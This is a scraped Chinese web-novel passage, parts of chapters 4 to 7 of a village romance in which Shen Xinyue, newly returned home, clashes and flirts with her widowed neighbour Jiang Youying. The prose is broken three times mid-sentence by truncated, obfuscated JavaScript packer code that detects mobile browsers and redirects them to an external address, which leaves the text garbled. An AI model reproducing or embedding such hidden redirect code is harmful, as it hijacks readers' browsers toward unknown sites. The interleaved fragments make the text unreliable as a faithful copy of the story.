“谢谢。”江有盈接过,若无其事撩了把头发。 沈新月嘟囔说她其实不爱喝可乐,“糖多,容易发胖。” 江有盈不说什么,开了自己那听,跟外婆分。 面条劲道,肉酱浓香,辣椒也搁得足足,她吃几口面喝一口可乐,短叹一声,表情满足。 沈新月总无意识盯着她看,看多了,也忍不住学。 开拉环的时候,江有盈仰身朝后躲了下,随即尖叫声响起。 可乐喷得满头满脸,沈新月僵在那,傻了。 空气甜腻,辛辣气泡在睫羽间爆裂,黑褐液体顺着领口一路往下,冰凉身体。 外婆一点不心疼,拍着大腿哈哈笑。 “什么啊!” 摔了剩下半瓶可乐,沈新月眼泪噼里啪啦掉下来,“都欺负我是吧,连可乐也欺负我,我干什么都不顺,我就是个扫把星,我就应该去死!” 笑意收敛,不顾她满身污渍,外婆撂下筷子第一时间抱住她哄。 “哎呦我的小嘟嘟,可怜嘞,在外面受委屈了,可怜嘞,不哭不哭嘞。” “我再带她去洗洗吧。”江有盈起身拉了人径直往外走,“阿婆先吃,别管我们。” 沈新月随她走,进了隔壁小院才一把甩开。 “不要你假好心,你就是故意整我,你以为我不知道,不然可乐好端端为什么会爆,偏偏就我这罐爆,你故意把我和外婆支开,你使坏!我一早就知道!” 江有盈拉着她进了卫生间,小腿往后一踢,门“砰”地砸上,“知道你还去开,你傻啊。” 她就是傻,很多时候明知道人家故意整她,等着看她倒霉,不知道跟谁赌气硬往坑里跳。 梗着脖子不说话,沈新月又生气,又伤心,眼眶一片连着鼻头都粉粉的,几分我见犹怜味道。 江有盈缓了语气,“你再冲冲水,我去给你拿干净衣服。” “我就是要让你愧疚,我就是傻,怎么样?”她嘶哑着嗓,不知联想到什么伤心事,泪愈发汹涌。 笑了,江有盈摇头,手撑在淋浴间冰凉的瓷砖墙。 “让你说中了,愧疚确实有一点,但我要告诉你,不是所有人都像我这样,像我这么善良,会因为一场小小的恶作剧而感到愧疚。你没必要惩罚自己,自我感动?这纯粹是犯贱。” 说完转身就走。 到门口,又回头,“赶紧冲,我去给你拿衣服,外婆还等着。” 人走了,沈新月蹲到地上,手圈住膝盖,终于可以放肆大哭出声。 也许是因为到家了,她神经完全松懈下来,才变得敏感又脆弱,被喷可乐算什么,酒桌上谈生意,出了饭店死狗一样倒在马路边,想骂发不出声,只有呕吐物像火山喷发一样将她淹没。 人生此类的狼狈时刻,太多。 浴室里像藏了只幽怨的女鬼,江有盈拿了衣服下楼,站门口,捏捏眉心,没急着进去,寻思着让她多哭会儿,发泄发泄。 “小江。”外婆站门口招手。 “阿婆。”江有盈走过去。 外婆拉着她手,叹了口气,“嘟嘟一直很要强,大人面前从来报喜不报忧,我讲话呢,她听倒是听,但都听不到心里去,觉得自己能扛。她刚到家,刚经历过那样的事,状态不是很好,麻烦你多费心了,你们同龄人更有话讲。” 接着又是一箩筐感谢的话。 “真羡慕她有个您这样的外婆。”江有盈笑着应下,让老人家放心。 返回浴室,沈新月还蹲地上哭,江有盈把衣裳搁在外面水池边上,两手叉腰斜站着,“怎么着,娇嘟嘟大小姐,还得我帮你洗。” “不要你假好心,呜呜——”中途打个哭嗝。 江有盈取下花洒,等热水来了,直接从她头顶浇下去。 “依萍找她爸要钱那天,雨也是下得这么大,但她没你命好,淋的冷雨。” 这人还挺周到,花洒来来回回,给她全身都暖到。 “再不起来我可动手了。”江有盈威胁。 地上小蘑菇蹲着,赌气不动。 江有盈伸手,隔着湿透的衣裳,从她肩膀一路摸到屁股,还使坏捏了两把。 “手感不错,Q弹。” “有病你!”沈新月腾就跳起,摔胳膊打腿把人赶出去。 她利索脱衣服冲水,一边冲一边叽叽咕咕骂。 姓江的太没分寸!太没礼貌!竟然随随便便捏人家屁股! 这次是件灰白格棉布衬衫,跟前面两件同样材质。 “还不是胆小鬼,衣服都买一堆一样的。”沈新月嘟囔。 头发擦半干,披散在肩膀,脸紧绷,镜柜里翻了瓶宝宝霜抹,沈新月探头望向树下,江有盈正干饭。 “我猜你快洗好,掐算着时间,面端过来微波炉重新打过。”她下巴尖朝边上一点,“赶紧吃,你外婆打牌去了。” 沈新月木着张脸,不跟她同桌,端碗蹲在屋檐下。 面有点粉了,但味道还是很好,折腾半天确实又累又饿。 “坏女人。”她嘴吃饭也不闲着。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14845524|159210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 剩下半瓶可乐一饮而尽,江有盈起身走到她面前。 “其实我也不爱喝可乐,但你应该知道的,你外婆嗜甜,她喜欢。我不想让她多喝,才提议可乐放我这边,给她控制着量。实话跟你讲,我就是故意的,故意整你。” “你承认了!”沈新月瞪她。 “谁让你老打听我。”江有盈伸出根手指,戳了下她脑门。 “跟你很熟吗?一见面就问东问西,没礼貌,活该被整。” 人站着,比她高出大半截,气势也够足,沈新月理亏,只能默默挨戳。 但这个角度可以看到她的腰,小背心下摆露出一点,莹白纤细,却并不孱弱。她整体给人的感觉十分利落干练,且非常有决策力。 连欺负人也欺负得理直气壮。 “小屁孩一个。” “你很大吗?”沈新月抬脸,两片嘴皮辣得猩红,“你多大了。” “干嘛告诉你。”江有盈垂眼睨着她。 沈新月“哼”一声,“你不说,万一比我小呢。” “你觉着呢。”江有盈双手环胸,嘴角笑意浅浅,玩上了。 沈新月从头到脚把她认认真真看一遍。 这次不是偷看,光明正大看。 头发没有烫染过,黑亮柔软,捆扎起看不出具体长度,额前自然垂下几绺。 个挺高,皮肤也白,基因好啊,瞧着会干很多活,人还特别细心,整天太阳底下走不见黑。 长相嘛,不能单纯用好看来形容,长得比较复杂。 从经历到性格都相对复杂,于是自然而然浮现在脸,像隔了层雾,看不真切。 “我觉着……”沈新月坏笑一下,“兴许你只是长得比较老呢。” 江有盈“哼哼”两声,也笑了。 沈新月觉得她笑起来还挺好看的。 像山,坚忍质直长久屹立在天地间,晨雾散去后,曙色为衬,头顶簪花,怀中抱树,我自一派悠然。 她不再继续争论,回到树下竹质的小桌边,“吃完到我身边来。” 站起抖抖蹲麻的腿,沈新月在旁晃晃悠悠,“干嘛。” 她回头,“你似乎有些迫不及待。” “切!”沈新月脸埋进面碗。 不想让人觉得她特别好拿捏,故意放缓进食速度,结果还不到半分钟,实在憋不住心痒,面碗往桌上一搁,“到底干嘛,你先说,不然我吃不下。” 江有盈拍拍身边小竹凳,“坐。” 沈新月顺从紧挨着人坐下,又见她拍了下大腿,“脚拿过来。” “干嘛啊到底。”沈新月用力抓了下领口,这人把她弄得毛毛的。 江有盈二话不讲,弯腰捏了她脚踝,直接按在腿,兜里掏出毛碘伏棉签,掰开一根,给她脚底的伤口消毒。 脚心触感冰凉,微痒,沈新月双手不自觉攥拳,耸肩,心口蚂蚁在爬。 “你外婆托我关照你。”她身体偏向一边,额角碎发稍遮挡了眼,烟岚云岫,美得含蓄。 “非要我安慰的话,水管爆其实是件好事,想想要换成你外婆,老人家大半夜遇见这种事,黑灯瞎火的,要磕哪儿碰哪儿了,事情就大了,现在好,你替她挡灾了。” 伤口消毒完毕,她鼓腮呼呼吹两下。 沈新月连呼吸都忘记。 她继续自顾自讲:“几年前,村里来过几位苦行的僧人,门口化缘,我请他们进来吃饭,他们摇头拒绝,只要了些水和干粮。” “我问他们为什么苦行,苦行的意义是什么……” 江有盈抬起头,阳光穿透树叶洒落她的脸,她眨一下睫,浑身似散发出淡淡辉光,“他们认为,这个世界的苦难是有限的,只要他们多吃些苦,就有人能少受一些苦。那,如果是为你的至亲、挚爱,你才遭受了你曾经遭受的一切,你的心里会不会好受些?” 5. 第 5 章 沈新月不知道苦行僧苦行的真正意义是什么,是文化与传统、信仰与追求,还是一种无意义的自我感动。 但江有盈口中的“挡灾”,确实有安慰到她。 “如果是外婆遇见热水器坏……”她左右摇头甩开坏想法,“好吧,这次你有理。” 继而想到什么,小幅度瘪嘴,“所以你帮我消毒,只是因为外婆。” 路上凑巧碰见把她接回来,替她支付车费,也是因为外婆。 好吧,其实很合理,不然呢,人家凭什么。 “也是为我自己。” 江有盈扔了棉签棒,摆摆手示意她自己把脚拿开,“我见不得血。” 沈新月这人,没眼力见却不是一天两天了,不过眼下的情况,说是故意为之可能更为准确。 她脚腕稳稳当当搁在人大腿,“你晕血啊。” “不然呢,你以为是因为什么,你的魅力?”江有盈答她上一句,微倾身,皮笑肉不笑,唇边嘲讽意味浓烈。 “怕血啊,晕血?那你来月经的时候怎么办?”沈新月真诚发问。 惊奇她异于常人的脑回路,江有盈也是很久没遇见这么逗乐的姑娘了。 “我要是告诉你,我杀过人呢?”说话笑眯眯的,一看就憋着坏。 “你怕血还杀人?你想吓唬我也编得像一点。”沈新月不以为意。 “就是因为杀过人才怕血。”江有盈手搭在她脚,细细摩挲着脚背那一小块温软的皮肤。 手并不细腻,乡下做活女人的手,糙得很,掌根、指腹俱覆有薄茧。 她朝前倾,音色低沉蛊惑,“现在什么感觉?” 莫名呼吸发烫,太近,微苦带甜的柚子花香在她身上,苦味更多。 沈新月忘了躲避,如实回答道:“痒,还有热。” “是血。”她在人耳畔低语,“人血的那种热,杀过人的手,现在正握着你的脚呢。” 是吗? 沈新月歪了下脑袋,忍不住笑,手掌贴在她额头,“也没发烧呀——” “你不信呐。”江有盈指腹快速擦过她唇角,搭配不合时宜的宠溺表情。 沈新月彻底绷不住了,收回脚胡乱套上拖鞋,跳开几步,“你好中二!” 翘脚,手撑在膝,江有盈托腮,“害羞还是害怕。” “害怕!”沈新月大声说:“你发病了!直女病!” 故意靠那么近,摸人家屁股,脚和嘴,对人家耳朵吹气,真是道德败坏! “欸——”江有盈手指点额,快速撩了下额发,“你都不问问我,就随便把我归类了,不是吹牛,女子监狱里,我这种类型可受欢迎,很多人追我呢。” “那你怎么出来了?” 这人鬼话连篇,沈新月半个字都不信。 “那是监狱,你以为是你外婆家啊,牢坐满就出来了呗。” 江有盈还关心她,“你不吹吹头发,当心感冒。” 沈新月更不当回事,“你才多大,你几岁杀的人,这么快就出来了。” 江有盈歪了下头,回忆,“十五六岁。” “你干嘛杀人。”沈新月继续问。 “因为他该杀。”江有盈答。 “TA是男的女的?你的谁?做了什么坏事?”沈新月又问。 默认她是正义一方。 确实有被取悦到,江有盈笑容更大,却摇摇头不再答,“我真告诉你了,你晚上会做噩梦的。” “编不下去了吧,哼哼。”沈新月扭身进了卫生间,“我吹头发。” 洗澡、吹发以及蹲坑,三大项,很适合用来沉静思考。 在过去,关于人际、事业许多方案的萌发及推进,她都依赖此类生活中的短暂平静来进行头脑风暴。 但这次,沈新月一颗脑袋颠过来,倒过去,脑浆都摇匀,也没想出个所以然。 具体在想些什么,她更是说不清楚。 按下风筒开关,噪声罢,将长发勾至耳后,露出一边红红的耳廓,某人淡粉颜色的一双薄唇,连带那张素白微瑕的脸诡异浮现在镜中。 似乎正贴着她耳根说话。 ——“小妹妹,想什么呢。” “微瑕”并不是个贬义词,那正造就了她的独一无二。沈新月认为,大多时候,“完美”太过无趣了。 更多不切实际的幻想,此时就不一一赘述。 沈新月吹干头发出来,院中寂寂,人已经走了,吃空的碗筷也不见。这人神出鬼没的。 树下站几秒,打个哈欠,吃完面感觉开始升碳,沈新月对着空气大喊:“那我回去睡觉了。” 无人应答,她挥手再见,转身离开。 她的小房间外婆一早就打理好,这时直接掀开被子钻进去。 不是城里人惯用的乳胶床垫,棉花褥子老床单极为亲肤,往上一躺,浑身骨头都卸了力气,舒服得直让人叹气。 老房子窗户小,屋里暗,也没窗帘,沈新月拿脱下来的衬衫盖着脸,闻到上面不属于自己的女人味道,脸发烫。 她想把衣服掀开,只是想而已,半天没动弹。 隔壁真没品,明知道她喜欢女生还故意搞一堆暧昧动作,弄得人心痒痒。 沈新月躺了会儿,睡不着,枕头底下摸出手机,给她的律师朋友发消息。 [杀人判几年。] 对面丢来一串问号。 [这事儿我可平不了。] 沈新月正打字,朋友着急了。 [你又干嘛?] [别冲动啊,钱慢慢还就是。] [现在房子已经挂法拍,那地段好,不愁卖。] [卖了多少能平些债,可千万别做傻事。] [不是都回老家了?先休息阵子再另做打算嘛,我们说好的!] [好的,不杀了。] 沈新月回复,说困了先睡。 [好好好,赶紧睡,睡眠不足确实比较容易产生暴躁情绪。] 对方发了个摸头表情。 手机塞回枕头底下,沈新月扯来衬衫盖脸。 这一觉睡得沉沉,也没做梦,自然醒来,鼻尖萦绕不知何处飘来的爆炒香气,沈新月一个鲤鱼打挺弹起。 脚底伤口结痂,行走时些微痛感,可以忽略不计,欢快蹦至楼下,她双手朝天伸个大大的懒腰。 院里有根晾衣绳,一头拴在围墙指粗的大铁钉,一头系在树干,绳子上是她脱下来扔堂屋里的脏衣服,风里晃荡,空气中有清新的洗涤剂香气。 “我说我睡醒起来洗呢。”沈新月急奔向厨房,“不是手洗的吧?” “我是老了,不是傻了,你妈买那洗衣机大几千块钱,我不用留着等它给我下蛋呐!”外婆没好气。 “我在网上看,有些老人是那样,不习惯享福,什么都亲力亲为。” 沈新月厨房里转一圈,灶台冷清,唯有米香,她袖子一撸,“我醒得还真是时候,看我来大展身手。” “展你个头。”外婆拔了电饭煲开关,“端去隔壁,江师傅家吃。” 回头又嘟囔,“科技为人方便,放着好好的机器不用,累坏了躺医院,几大万搭进去,岂不是蠢。” 又是江师傅。 “还得是我外婆,外婆真了不起。” 沈新月顺道拿上碗筷,“咱这是跟江师傅搭伙过日子了?” “欸欸——”她压低嗓,胳膊肘捅,“打听个事情,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14845525|159210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位江师傅现在住在陈阿婆家,那陈婆一家去哪里了?” “你陈阿婆在市里带小孩,小孩上初一了,至于……” 外婆把碗筷接过来,转身又回头,胳膊肘捅回去,“你以后少在她面前提李致远。” “她把他杀了?!”沈新月瞬间就串上了,“她把李致远杀了?李致远人面兽心,是个王八蛋?” “什么跟什么呀。”外婆抬手就给她两巴掌,“小刚的事情你一点不知道?我怎么记着以前跟你说过。” 小刚是李致远小名,沈新月完全没印象,“啥时候说的?” “反正我说了你也不听,不说了。”外婆扭头就要往外走。 沈新月一条胳膊圈了电饭煲,急忙把人拉住,“说嘛说嘛,这次我认真听。” 外婆说她知道的不多,那毕竟是别人家事,更况且,也不是什么值得到处宣扬的漂亮事。 “那小刚车祸你知不知道?” “车祸死的?”沈新月惊讶捂嘴。 “胡说什么呢你。” 探头往外瞅了眼,外婆去把厨房门关了,细细同她讲。 车祸是十几年前的事情,具体到哪一年外婆也记不清,总之,李致远是那场事故中的幸存者。但他活着的代价是双亲及左腿。 交通意外实在太常见太频发,沈新月几小时前就经历过。出租车师傅把车开到水田里去。 记忆深处,画面模糊,沈新月记得自己应该是在上初中,她拿了卷子去隔壁问数学题,李致远躲在房间,冲她轻轻摇头,隔着雾气蒙蒙的玻璃窗用手指画下一个笑脸。 笑脸眼角弯弯,水珠堆积,一行清露流淌,分不清是在玻璃窗上,还是在他的脸上。 玻璃窗有雾,沈新月从而推断出是冬天,寒假。 那天她很不高兴,气咻咻跑回家,沙发上一摔,跟外婆抱怨,“他不想教我做题,我以后再也不要跟他讲话了,以为自己上大学就很了不起,哼,我以后也会上大学的。” 两家关系一直很好,但那天外婆什么也没说,还挺支持她。 “那以后就不去找他了。” 后来,李致远结婚,再后来,李致远死了。 外婆说:“他没腿了,想不开。” 所以江有盈说杀人是哄她的,李致远的事跟她没关系。 “怪不得她拿可乐喷我。”沈新月现在觉得不冤。 不过话说回来,事后她也来哄她了,带她洗澡,给找衣服穿,还帮她擦药。 饭桌上,沈新月频繁偷瞄,江有盈始终不动声色,饭后外婆要去跳舞,搁了碗抹了嘴,抬屁股就要走。 江有盈终于出声,嘱咐老太太休息一个小时再跳,“当心胃痛!” 沈新月自觉把碗筷收去厨房,江有盈没跟她客气,抱胸倚在门框,监工姿态。 回头,沈新月谄媚一笑。 “找你外婆打听清楚了?”江有盈仍是笑着,叫人难以分辨出面具底下的真实情绪。 大概觉得逗她好玩,末了又道:“还有什么需要我补充的?” 摇头,沈新月挽起袖子,本分洗碗。 “过了这村可就没这店了。” 仰身一抬,江有盈挨去她身边,手臂搭在她肩膀,指节打个勾,快速勾一下人脸蛋,“给你机会不要,到时候又找我问东问西,可别怪我不客气。” 非得说什么的话…… 水流冲刷干净手上泡沫,沈新月转身直面她,弯腰九十度鞠躬。 “对不起,戳到你的伤心事。” 尽管李致远十三年前就死了,在他跟江有盈结婚不到三个月的时候。 还有就是。 “你跟那人应该没啥感情吧。” 6. 第 6 章 “又打听,喜欢我啊?”江有盈脸上半真半假那种逗小孩的笑。 孩子成长得很快,只心慌一两秒,没再叽叽喳喳上蹿下跳。 沈新月摇头,“我的意思是,如果你跟李致远关系没那么好的话,我斗胆,当然我的出发点是好的,我希望,他的死对你没有造成太大影响。” 如果关系恶劣,那说是普天同庆,皆大欢喜也不为过了。 老话说死者为大,但还有老话说,知人知面不知心。 李致远小时候,勉强可以称作一位和蔼可亲的邻家大哥哥,谁知道他长大后变成什么样。 “我说错话嘛,你也可以理解,我在寻求一种浅薄的心理安慰。” 沈新月手背碰了碰脸颊,她摸过的地方有一点烫。 “你心里向着我。” 江有盈煞有其事点头,“所以还是喜欢我。” 小幽默,又来了。 沈新月想说“您的幽默真低级啊”,话到嘴边,她脸色一变,忽地聪明领悟到什么。 也许,人家不想继续这个话题,才故意胡言乱语,插科打诨。 我真是低情商。 沈新月急忙道歉,“总之对不起。” “嗯,接受了。”江有盈缓慢眨一下眼。 这么好说话,沈新月狐疑扭头。 “可你造成的精神损失怎么办?”她紧接道。 就知道没那么简单。 “你说。”沈新月把碗筷搁在沥水架。 “赔我。”江有盈摊开个巴掌。 “怎、怎么陪?”沈新月一双手从水盆里湿淋淋提出来,迟疑着,试探着,迎着她眼里意味不明的笑…… 落在她手心。 她一把攥住。 沈新月想跑来着,没跑掉,像只掉进陷阱的小老鼠,黑眼珠滴溜溜四处转,找地方逃。 她手臂稍往前一带,不防她突然发力,脚下趔趄几步,沈新月跌人怀里了。 细细一声“嗯”,又羞又气,沈新月两三下挣脱开,“你到底想干嘛!” 她小幅度跺脚,“总这样,到底是干嘛呀。” “我寂寞嘛。”拉着人手不放,江有盈还挺理直气壮的,“小寡妇寂寞。” 什么虎狼之词,沈新月简直要替她羞死了。 “你先放手。” “我本来说赔,赔钱那个赔。可我听那你意思,是陪伴的陪。” 江有盈松手了,“这可是你自愿的,你答应要陪我,答应就不能跑。” “我跑哪儿去,我现在身无分文。”沈新月快速扒拉两下刘海,手掌呼呼给自己扇风,“但你不能老这样了。” 说话间,外面天黑透,远离城市光污染,巷子里的路灯找不进院门,小村的夜黑得有点吓人。 江有盈按下墙上开关,她在院里大树上挂了好多星星灯,一串一串,亮晶晶黄澄澄。 “我哪样儿了。”她坐到摇摇椅,舒舒服服躺着,脚尖一点一点,继续盘问。 “真漂亮,你怎么想到装这些小灯。” 沈新月走出来,白天没发觉,晚上通电才瞧见贴墙一圈都是,院里可亮堂。 “事先说明我不是故意打岔。”沈新月坐到她身边的小板凳,“感慨一下,我们秀坪还没圈起来收门票呢,姐姐就提前给布置成5A了。” 冷哼一声,江有盈表达不屑后,“接着说。” 沈新月确实想跟她好好谈谈。 “我不是说歧视,瞧不起谁,但咱们始终不是一种类型的人,可能姐姐你并不觉得自己言行上有什么出格的地方,但在我感觉真的过于暧昧了。我与人交往向来谨慎,日常中尽可能避免一些没有必要的肢体接触,就是怕产生误会。” “这么多年……” 沈新月两手把心捂着,“不管别人怎么样,我对自己的要求是这样。” “你女朋友把你绿了?”江有盈斜来一眼。 “嗖——” “噗——” 飞刀入肉的声音。 沈新月捂心的一只手捂住脸,缓了几秒,“前前任。” 深呼吸,吐气,片刻后调整好,沈新月正色,“反正,什么牵手抱抱啦,捏脸蛋捏屁股啦,朝耳朵吹气啦,这些都是不可以的,你保证可以做到,我就答应做你的好朋友。” 小学生逻辑。 江有盈仍是冷哼,“摸脚怎么不说。” “你也知道!”沈新月在她看不见的地方使劲白她一眼,“那是上药,所以我才容忍你。” 哎呦喂,不得了。 “我感谢你的大恩大德。”江有盈两手举起,从空气中搬起一团空气,从左边搬到右边,“感谢你满屁股泥坐在马路边,让我有机会接你回来,还倒贴二百块钱。” 钱,差点忘了。 沈新月以前一直觉得,能用钱摆平的事情都不是事情,如果还不能摆平,那就双倍价钱。 要是仍然不能,笑死,当然是放弃。 “您尽管吩咐。” 说完,朝天竖起三根手指,“但事先说明,我这人特别洁身自好,我不会做任何违背自己原则的事情。” 是啊,钱,江有盈也差点忘了。 “只能说你运气好,遇见我,钱你不用还了,当然就算我要求你还,你也没钱来还,所以不如给我打工抵债。” 小院几个月前重装过,现在味道散得差不多,营业执照也下来了。 “我需要一名助手,你会开车,走路没有歪歪斜斜,说话也还算利索,经我考核,现在给予通过,等我的小院来第一批客人,就可以上岗了。” 她开心合掌,笑若春风,“今天呢,都是我给你设置的考验……” “主要,我这人也特别洁身自好,而且十分反感,甚至可以说是厌恶办公室恋情!”下半句是从后槽牙里一个字一个字磨出来的。 “什么叫走路没有歪歪斜斜……”槽多无口,荒谬至极。 沈新月气笑,“姐姐,我还没答应要给你当助手呢,不过我很好奇,你为什么反复强调讨厌办公室恋情。” 她试图扳回一局,“难不成经历过?得个人财两空,鸡飞蛋打,故此才深恶痛绝。” 脑袋左右晃晃,嘚瑟。 “我本人倒是没有,只是见得多了。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14845526|159210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 风吹乱她额角碎发,她轻轻眨眼,指尖细细梳理,“不是都告诉你了,女子监狱里面这种事情很常见,我是狱花,追我的人很多。” 她顿了顿,拔高嗓,“这是第二遍,我这人也特别洁身自好,也!所以我从来没有沦陷过,但她们确实给我造成很大困扰,所以要制止。” 我的天呐。沈新月服了,“你口中的办公室恋情,是发生在女子监狱?” “嗯哼。” 那怎么不算是一种办公室恋情呢。 快跑,这人有病。 “这样,加个微信,我把你推给我朋友,让她把钱转给你。” 刚到家,人累心也累,工作的事情不忙,沈新月想歇两天。 至于眼前这位姐,她惹不起,总还躲得起。 “你不愿意?”她起身。 沈新月准备了一堆说辞,没用上,江有盈利索掏出手机,二维码调出来,“扫吧。” 行,那就用不着废话了。 “我回家了,今天谢谢你,谢谢你向我提供的一切帮助,以后有用得着我的地方尽管说,我必当竭尽所能。” 沈新月给她鞠了个躬,并承诺衣服洗好晾干以后会送回来。 忘了她们还会见面,还会一张小桌上吃饭,城里假惺惺那套张嘴就来。感激是真,本能疏离也是真。 江有盈一言不发。 沈新月走出小院,忍不住回头,她坐在树下,被星灯包围,像庞大宇宙中一个极为渺小的星系,她是太阳,所有星体都在围绕她旋转,所有光热都从她身上汲取。 她却如此孤单,她所散发的能量并不能温暖自己。 可那跟我有什么关系。静立在光与暗的交界处,等待双眼适应,沈新月回到自家小院。 外婆还没回,远方隐约有乐声传来,误入小巷的游客门外好奇张望。 上楼,好巧,沈新月房间窗口斜对就是江有盈家的小院。 她还是一动不动,大概很擅长发呆。 朋友消息告知,钱已经转过去。 [她收了。] 沈新月倚着窗框,打字回复,承诺以后会还。 对面发来一张图片。 [这人不会是你吧?] 满头问号,沈新月手指戳开,是一张朋友圈截图。 [从前,有一个小女孩,住在秀坪村,她家祖宅共有上下两层,改建之前,二楼的楼板还没有铺砖,是一块又一块的长木板。 天然树木砍伐制成,木板与木板之间最大有指粗的缝隙(注意,这是前提)。 有一年冬天,很冷很冷,她半夜醒来不想出去上厕所,担心屁股冻掉,竟直接脱了裤子在二楼尿尿! 她那时候也不小了,早就不和妈妈一起睡,她是个独立的小女孩,她真棒,可她忘了,她的妈妈就在楼下……] 啊? 啊? 啊? 沈新月使劲薅了一把头发。 她怎么知道?不是,谁告诉她的?她为什么要拿别人小时候的糗事发朋友圈? “江有盈!”沈新月气得大叫,“你这个恶毒的小寡妇!” 7. 第 7 章 沈新月撒尿淋她妈那年,七岁,长那么大第一次被打。 屁股没被冻掉,险些被打掉。 是谁把她这些压箱底的臊皮事抖落出去的? 一大早,沈新月躺床上,瞌睡还没醒就听见楼下叽里呱啦,于秀兰正绘声绘色跟人讲故事。 “过年,她妈带女朋友回来,住东厢下面那间屋。天气冷,房子又破,屋里烧了炉子,我们都挤在那屋,就嘟嘟不跟我们一起睡,嚷嚷着什么要独立。” “其实啊……” 外婆神神秘秘压低嗓,尽管现场并没有第三个人,“她妈带来那个女朋友是新交的,她不喜欢,还喜欢前面一个,闹别扭呢。” 早上熬粥,用昨晚的剩饭,没多会儿就烂糊了,砂锅里咕嘟,飞溅出滚烫的米浆,灼痛手背。 江有盈面无表情擦拭去,“阿婆还是很开明的。” 外婆叹气,说一开始也接受不了,“后来想通,反正有嘟嘟了,这么多年她也不容易,就随她去吧。” 老人家旧思想根深蒂固,觉得不管怎么样都要生小孩,想来沈新月她妈当年闹出柜,必是场轰轰烈烈的大战。 木勺搅拌,防止粘锅,江有盈安静聆听。 外婆继续道:“家里就她一个,老的少的都宠着,我上楼去,给她棉褥子铺了好几层,小炭盆搁床尾,担心着火外面还罩个铁笼子,安排得妥妥。” 江有盈墙上取了双竹筷子,拿个小碗钻灶台下面。这筷子从没沾过油星,专门用来夹泡菜的。 泡菜不能见油见生水,否则要生花,腐败变质。 她夹了几根萝卜条,几根豇豆,外婆抬手接了,在小砧板上切成段。 “半夜呀,我睡得迷迷糊糊,听见谁在说话,我坐起来,看到她妈跟她那女朋友正嘀咕,问外头是不是下雨了。” 外婆每次说到这儿都忍不住笑。 “那傻妞妞,伸舌头舔,说味道有点怪,还是热的,我点了灯过去,好家伙,半床被子都湿透,屋里一股热烘烘的尿骚味!” 这个故事江有盈听了有不下二十回,人老了都这样,以前的事翻来覆去说,说多少遍都不腻。 江有盈耐性好,故事常听常新嘛,她也挺喜欢这样跟老人家聊天的。 故事讲完,粥也差不多,外婆出去看了眼,摆手,“你去叫她起床。” 撒尿淋妈事件第二年,沈新月她妈把房子重装,木楼板变成木地板,四面墙粉刷,屋顶也重新铺瓦。 沈新月上大学又装了一次,为自己回来住着舒服,安了空调和热水器。 去年秋天,江有盈装房子的时候,问过外婆要不要一起,外婆说装得再好也没人回来住,浪费钱。 江有盈本想把两家房子合并到一起开民宿,探听到口风,阿婆不太愿意,她就没提。 房子半新不旧,木梯咯吱咯吱,沈新月含着牙刷从二楼卫生间出来,江有盈正走到楼梯口,抬手打招呼,“早安,撒尿牛丸。” 完了还多此一举解释道:“可不是我随便给你起外号,你外婆说的。” “早啊。”沈新月赔笑脸,扭头躲进卫生间。 昨晚睡前骂完那句“小寡妇”,她立马后悔了,前半夜提心吊胆,怕江有盈提着扳手上门来敲她的脑壳,翻来覆去睡不着。 几次起身,窗口望出去,她孤零零坐在那,接近凌晨才起身回房。 又戳到人家伤心事,被喷可乐还不长记性,沈新月暗骂自己蠢笨如猪,死性不改。 也早该想到,隔壁邻居的,她们怎么可能不见面。 对方一步一顿,姿态闲散,两条细腕子身侧随胯摆,行走间自有派悠然。 她跟到卫生间,倚门斜站着,面上笑盈盈。 沈新月弯腰吐了嘴里的牙膏沫,镜子里看她,那笑里读出几分“你什么底细我还不知道吗”的玩味。 多亏了外婆,江师傅手里肯定掌握她超多黑历史! 沈新月为昨晚的冒犯感到万分懊恼,见面就认怂,说“对不起”。 “怎么总在道歉啊。” 她调子慢吞吞,像美女蛇趴在人肩膀吐信子。 “做了对不起别人的事,当然要道歉。”沈新月心里琢磨着,要不要再给她鞠个躬。 在乡下,“远亲不如近邻”是句大大的实在话,外婆平时一个人在家,哪跌了碰了,多亏人家照顾。 一老一小搭伙过日子,烧饭省事,吃饭也香,什么直不直的,人家跟你开玩笑逗闷子呢。 “是我自己别扭,以前被女人骗过,所以才会有抵触情绪,昨天我刚到,赶一夜车有点累,脑子不清楚,说错话办错事,希望你别见怪。” 沈新月对着镜子说完,小心翼翼回头,抿了下嘴唇,“你没生我气吧?” 她头发还没来得及梳,睡相不好,乱蓬蓬的。怪可爱。 江有盈脸上一直挂着浅浅的笑,从见她面就在笑。 “被女人骗过,什么意思啊,绿你那个后来跟人结婚了?” 这人是有什么读心术之类的异能魔法吗?又让她说中了。 沈新月捏把捏把手里的洗脸巾,本来要丢垃圾桶,想到用一张少一张,展开来挂在毛巾架,打算明天接着用。 